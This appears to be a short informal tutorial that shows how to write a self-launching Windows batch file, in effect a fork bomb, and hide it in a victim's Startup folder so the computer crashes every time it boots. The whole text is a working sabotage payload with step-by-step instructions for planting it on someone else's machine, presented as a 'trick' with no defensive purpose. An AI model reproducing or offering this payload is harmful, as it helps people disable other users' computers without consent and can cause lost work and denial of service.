So to start up we are going to make a simple batch file that will crash the victims computer on startup or when they open it......

First open Notepad...
goto start ->run -> type notepad
this will open your notepad

Then type:
Start virus.bat
virus.bat

then save it as anything.bat.

Now once you saved it to the victims computer......
then copy it to

Start
then All programs
then startup
and put the file in there


Now every time he start his computer it will crash...

Hope you enjoyed the trick...!!!!!!!!!!!!!
